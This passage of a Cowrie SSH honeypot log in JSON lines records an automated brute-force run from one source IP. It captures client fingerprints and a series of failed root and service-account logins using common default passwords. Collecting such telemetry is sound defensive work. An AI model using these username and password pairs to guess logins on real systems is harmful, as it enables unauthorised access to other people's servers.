0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:38.602018Z","src_ip":"192.109.200.237","session":"d2f9aa29c8e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Qaz@Wsx","message":"login attempt [root/!Qaz@Wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:38.849486Z","src_ip":"192.109.200.237","session":"d2f9aa29c8e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:39.935024Z","src_ip":"192.109.200.237","session":"d2f9aa29c8e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43594,"dst_ip":"159.203.135.109","dst_port":22,"session":"dab96140dc5d","protocol":"ssh","message":"New connection: 192.109.200.237:43594 (159.203.135.109:22) [session: dab96140dc5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:41.640677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:41.704902Z","src_ip":"192.109.200.237","session":"dab96140dc5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:41.787647Z","src_ip":"192.109.200.237","session":"dab96140dc5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@123","message":"login attempt [root/Password@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:42.184639Z","src_ip":"192.109.200.237","session":"dab96140dc5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:43.269242Z","src_ip":"192.109.200.237","session":"dab96140dc5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43602,"dst_ip":"159.203.135.109","dst_port":22,"session":"5f81a9b58287","protocol":"ssh","message":"New connection: 192.109.200.237:43602 (159.203.135.109:22) [session: 5f81a9b58287]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:44.918382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:44.923696Z","src_ip":"192.109.200.237","session":"5f81a9b58287","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:45.008183Z","src_ip":"192.109.200.237","session":"5f81a9b58287","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3","message":"login attempt [user3/user3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:45.252904Z","src_ip":"192.109.200.237","session":"5f81a9b58287","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:46.339043Z","src_ip":"192.109.200.237","session":"5f81a9b58287","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":43612,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0326adb7dff","protocol":"ssh","message":"New connection: 192.109.200.237:43612 (159.203.135.109:22) [session: a0326adb7dff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:47.993739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:47.999100Z","src_ip":"192.109.200.237","session":"a0326adb7dff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:48.086405Z","src_ip":"192.109.200.237","session":"a0326adb7dff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka","message":"login attempt [kafka/kafka] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:48.332461Z","src_ip":"192.109.200.237","session":"a0326adb7dff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:49.510643Z","src_ip":"192.109.200.237","session":"a0326adb7dff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44702,"dst_ip":"159.203.135.109","dst_port":22,"session":"91a79bd3b009","protocol":"ssh","message":"New connection: 192.109.200.237:44702 (159.203.135.109:22) [session: 91a79bd3b009]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:51.127009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:51.131636Z","src_ip":"192.109.200.237","session":"91a79bd3b009","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:51.213975Z","src_ip":"192.109.200.237","session":"91a79bd3b009","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qq123456","message":"login attempt [root/qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:51.462227Z","src_ip":"192.109.200.237","session":"91a79bd3b009","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:52.548025Z","src_ip":"192.109.200.237","session":"91a79bd3b009","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44714,"dst_ip":"159.203.135.109","dst_port":22,"session":"06566e045469","protocol":"ssh","message":"New connection: 192.109.200.237:44714 (159.203.135.109:22) [session: 06566e045469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:54.225113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:54.296740Z","src_ip":"192.109.200.237","session":"06566e045469","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:54.326146Z","src_ip":"192.109.200.237","session":"06566e045469","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"123456","message":"login attempt [kingbase/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:54.630053Z","src_ip":"192.109.200.237","session":"06566e045469","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:55.715380Z","src_ip":"192.109.200.237","session":"06566e045469","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":44722,"dst_ip":"159.203.135.109","dst_port":22,"session":"757c4d6ce3f3","protocol":"ssh","message":"New connection: 192.109.200.237:44722 (159.203.135.109:22) [session: 757c4d6ce3f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:57.487071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:57.491574Z","src_ip":"192.109.200.237","session":"757c4d6ce3f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:57.573959Z","src_ip":"192.109.200.237","session":"757c4d6ce3f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amine","password":"amine","message":"login attempt [amine/amine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:57.821417Z","src_ip":"192.109.200.237","session":"757c4d6ce3f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:15:58.906902Z","src_ip":"192.109.200.237","session":"757c4d6ce3f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57188,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f1bbdf98208","protocol":"ssh","message":"New connection: 192.109.200.237:57188 (159.203.135.109:22) [session: 8f1bbdf98208]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:00.630960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:00.635835Z","src_ip":"192.109.200.237","session":"8f1bbdf98208","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:00.721899Z","src_ip":"192.109.200.237","session":"8f1bbdf98208","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csgo","password":"csgo","message":"login attempt [csgo/csgo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:00.969377Z","src_ip":"192.109.200.237","session":"8f1bbdf98208","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:02.055598Z","src_ip":"192.109.200.237","session":"8f1bbdf98208","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57198,"dst_ip":"159.203.135.109","dst_port":22,"session":"2dd3e896463e","protocol":"ssh","message":"New connection: 192.109.200.237:57198 (159.203.135.109:22) [session: 2dd3e896463e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:03.780740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:03.784993Z","src_ip":"192.109.200.237","session":"2dd3e896463e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:03.974425Z","src_ip":"192.109.200.237","session":"2dd3e896463e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456@","message":"login attempt [root/Aa123456@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:04.280381Z","src_ip":"192.109.200.237","session":"2dd3e896463e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:05.365757Z","src_ip":"192.109.200.237","session":"2dd3e896463e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":57208,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecf8316fa2c2","protocol":"ssh","message":"New connection: 192.109.200.237:57208 (159.203.135.109:22) [session: ecf8316fa2c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:07.119853Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:16:07.128385Z","src_ip":"192.109.200.237","session":"ecf8316fa2c2","protocol":"ssh"}
